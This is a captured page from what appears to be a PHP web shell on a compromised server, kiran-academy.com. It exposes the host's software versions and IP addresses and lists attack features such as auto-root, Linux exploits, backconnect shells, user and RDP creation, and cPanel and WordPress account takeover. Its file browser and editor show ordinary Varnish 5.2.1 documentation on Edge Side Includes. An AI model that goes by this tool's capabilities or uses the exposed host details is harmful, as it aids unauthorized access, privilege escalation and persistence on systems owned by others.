Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
varnish-5.2.1 /
html /
users-guide /
[ HOME SHELL ]
Name
Size
Permission
Action
command-line.html
10.23
KB
-rw-r--r--
compression.html
11.79
KB
-rw-r--r--
devicedetection.html
21.88
KB
-rw-r--r--
esi.html
11.71
KB
-rw-r--r--
increasing-your-hitrate.html
61.46
KB
-rw-r--r--
index.html
11.92
KB
-rw-r--r--
intro.html
10.24
KB
-rw-r--r--
operation-logging.html
9.3
KB
-rw-r--r--
operation-statistics.html
8.39
KB
-rw-r--r--
params.html
5.66
KB
-rw-r--r--
performance.html
10.05
KB
-rw-r--r--
purging.html
13.81
KB
-rw-r--r--
report.html
5.48
KB
-rw-r--r--
run_cli.html
15.13
KB
-rw-r--r--
run_security.html
17.29
KB
-rw-r--r--
running.html
7.21
KB
-rw-r--r--
sizing-your-cache.html
6.17
KB
-rw-r--r--
storage-backends.html
11.52
KB
-rw-r--r--
troubleshooting.html
16.57
KB
-rw-r--r--
vcl-actions.html
6.04
KB
-rw-r--r--
vcl-backends.html
21.2
KB
-rw-r--r--
vcl-built-in-subs.html
31.33
KB
-rw-r--r--
vcl-example-acls.html
5.87
KB
-rw-r--r--
vcl-example-manipulating-heade...
6.33
KB
-rw-r--r--
vcl-example-manipulating-respo...
6.47
KB
-rw-r--r--
vcl-example-websockets.html
6.95
KB
-rw-r--r--
vcl-examples.html
5.68
KB
-rw-r--r--
vcl-grace.html
9.83
KB
-rw-r--r--
vcl-hashing.html
8.52
KB
-rw-r--r--
vcl-inline-c.html
6.14
KB
-rw-r--r--
vcl-separate.html
13.18
KB
-rw-r--r--
vcl-syntax.html
10.49
KB
-rw-r--r--
vcl-variables.html
5.93
KB
-rw-r--r--
vcl.html
7.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : esi.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Content composition with Edge Side Includes — Varnish version 5.2.1 documentation</title> <link rel="stylesheet" href="../_static/classic.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '5.2.1', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="top" title="Varnish version 5.2.1 documentation" href="../index.html" /> <link rel="up" title="The Varnish Users Guide" href="index.html" /> <link rel="next" title="Troubleshooting Varnish" href="troubleshooting.html" /> <link rel="prev" title="Compression" href="compression.html" /> </head> <body role="document"> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="troubleshooting.html" title="Troubleshooting Varnish" accesskey="N">next</a> |</li> <li class="right" > <a href="compression.html" title="Compression" accesskey="P">previous</a> |</li> <li class="nav-item nav-item-0"><a href="../index.html">Varnish version 5.2.1 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="index.html" accesskey="U">The Varnish Users Guide</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <div class="section" id="content-composition-with-edge-side-includes"> <span id="users-guide-esi"></span><h1>Content composition with Edge Side Includes<a class="headerlink" href="#content-composition-with-edge-side-includes" title="Permalink to this headline">¶</a></h1> <p>Varnish can create web pages by assembling different pages, called <cite>fragments</cite>, together into one page. These <cite>fragments</cite> can have individual cache policies. If you have a web site with a list showing the five most popular articles on your site, this list can probably be cached as a <cite>fragment</cite> and included in all the other pages.</p> <p>Used properly this strategy can dramatically increase your hit rate and reduce the load on your servers.</p> <p>In Varnish we've only so far implemented a small subset of ESI. As of version 2.1 we have three ESI statements:</p> <div class="highlight-default"><div class="highlight"><pre><span></span>esi:include esi:remove <!--esi ...--> </pre></div> </div> <p>Content substitution based on variables and cookies is not implemented but is on the roadmap. At least if you look at the roadmap from a certain angle. During a full moon.</p> <p>Varnish will not process ESI instructions in HTML comments.</p> <div class="section" id="example-esi-include"> <h2>Example: esi:include<a class="headerlink" href="#example-esi-include" title="Permalink to this headline">¶</a></h2> <p>Lets see an example how this could be used. This simple cgi script outputs the date:</p> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="ch">#!/bin/sh</span> <span class="n">echo</span> <span class="s1">'Content-type: text/html'</span> <span class="n">echo</span> <span class="s1">''</span> <span class="n">date</span> <span class="s2">"+%Y-%m-</span><span class="si">%d</span><span class="s2"> %H:%M"</span> </pre></div> </div> <p>Now, lets have an HTML file that has an ESI include statement:</p> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="o"><</span><span class="n">HTML</span><span class="o">></span> <span class="o"><</span><span class="n">BODY</span><span class="o">></span> <span class="n">The</span> <span class="n">time</span> <span class="ow">is</span><span class="p">:</span> <span class="o"><</span><span class="n">esi</span><span class="p">:</span><span class="n">include</span> <span class="n">src</span><span class="o">=</span><span class="s2">"/cgi-bin/date.cgi"</span><span class="o">/></span> <span class="n">at</span> <span class="n">this</span> <span class="n">very</span> <span class="n">moment</span><span class="o">.</span> <span class="o"></</span><span class="n">BODY</span><span class="o">></span> <span class="o"></</span><span class="n">HTML</span><span class="o">></span> </pre></div> </div> <p>For ESI to work you need to activate ESI processing in VCL, like this:</p> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">sub</span> <span class="n">vcl_backend_response</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">bereq</span><span class="o">.</span><span class="n">url</span> <span class="o">==</span> <span class="s2">"/test.html"</span><span class="p">)</span> <span class="p">{</span> <span class="nb">set</span> <span class="n">beresp</span><span class="o">.</span><span class="n">do_esi</span> <span class="o">=</span> <span class="n">true</span><span class="p">;</span> <span class="o">//</span> <span class="n">Do</span> <span class="n">ESI</span> <span class="n">processing</span> <span class="nb">set</span> <span class="n">beresp</span><span class="o">.</span><span class="n">ttl</span> <span class="o">=</span> <span class="mi">24</span> <span class="n">h</span><span class="p">;</span> <span class="o">//</span> <span class="n">Sets</span> <span class="n">the</span> <span class="n">TTL</span> <span class="n">on</span> <span class="n">the</span> <span class="n">HTML</span> <span class="n">above</span> <span class="p">}</span> <span class="n">elseif</span> <span class="p">(</span><span class="n">bereq</span><span class="o">.</span><span class="n">url</span> <span class="o">==</span> <span class="s2">"/cgi-bin/date.cgi"</span><span class="p">)</span> <span class="p">{</span> <span class="nb">set</span> <span class="n">beresp</span><span class="o">.</span><span class="n">ttl</span> <span class="o">=</span> <span class="mi">1</span><span class="n">m</span><span class="p">;</span> <span class="o">//</span> <span class="n">Sets</span> <span class="n">a</span> <span class="n">one</span> <span class="n">minute</span> <span class="n">TTL</span> <span class="n">on</span> <span class="o">//</span> <span class="n">the</span> <span class="n">included</span> <span class="nb">object</span> <span class="p">}</span> <span class="p">}</span> </pre></div> </div> </div> <div class="section" id="example-esi-remove-and-esi"> <h2>Example: esi:remove and <!--esi ... --><a class="headerlink" href="#example-esi-remove-and-esi" title="Permalink to this headline">¶</a></h2> <p>The <cite><esi:remove></cite> and <cite><!--esi ... --></cite> constructs can be used to present appropriate content whether or not ESI is available, for example you can include content when ESI is available or link to it when it is not. ESI processors will remove the start ("<!--esi") and the end ("-->") when the page is processed, while still processing the contents. If the page is not processed, it will remain intact, becoming a HTML/XML comment tag. ESI processors will remove <cite><esi:remove></cite> tags and all content contained in them, allowing you to only render the content when the page is not being ESI-processed. For example:</p> <div class="highlight-default"><div class="highlight"><pre><span></span><esi:remove> <a href="http://www.example.com/LICENSE">The license</a> </esi:remove> <!--esi <p>The full text of the license:</p> <esi:include src="http://example.com/LICENSE" /> --> </pre></div> </div> </div> </div> <div class="section" id="doing-esi-on-json-and-other-non-xml-ish-content"> <h1>Doing ESI on JSON and other non-XML'ish content<a class="headerlink" href="#doing-esi-on-json-and-other-non-xml-ish-content" title="Permalink to this headline">¶</a></h1> <p>Please note that Varnish will peek at the included content. If it doesn't start with a "<" Varnish assumes you didn't really mean to include it and disregard it. You can alter this behaviour by setting the 'esi_syntax' parameter (see ref:<cite>ref-varnishd</cite>).</p> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h3><a href="../index.html">Table Of Contents</a></h3> <ul> <li><a class="reference internal" href="#">Content composition with Edge Side Includes</a><ul> <li><a class="reference internal" href="#example-esi-include">Example: esi:include</a></li> <li><a class="reference internal" href="#example-esi-remove-and-esi">Example: esi:remove and <!--esi ... --></a></li> </ul> </li> <li><a class="reference internal" href="#doing-esi-on-json-and-other-non-xml-ish-content">Doing ESI on JSON and other non-XML'ish content</a></li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="compression.html" title="previous chapter">Compression</a></p> <h4>Next topic</h4> <p class="topless"><a href="troubleshooting.html" title="next chapter">Troubleshooting Varnish</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../_sources/users-guide/esi.txt" rel="nofollow">Show Source</a></li> </ul> </div> <div id="searchbox" style="display: none" role="search"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <div><input type="text" name="q" /></div> <div><input type="submit" value="Go" /></div> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="troubleshooting.html" title="Troubleshooting Varnish" >next</a> |</li> <li class="right" > <a href="compression.html" title="Compression" >previous</a> |</li> <li class="nav-item nav-item-0"><a href="../index.html">Varnish version 5.2.1 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="index.html" >The Varnish Users Guide</a> »</li> </ul> </div> <div class="footer" role="contentinfo"> © Copyright 2010-2014, Varnish Software AS. Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. </div> </body> </html>
Close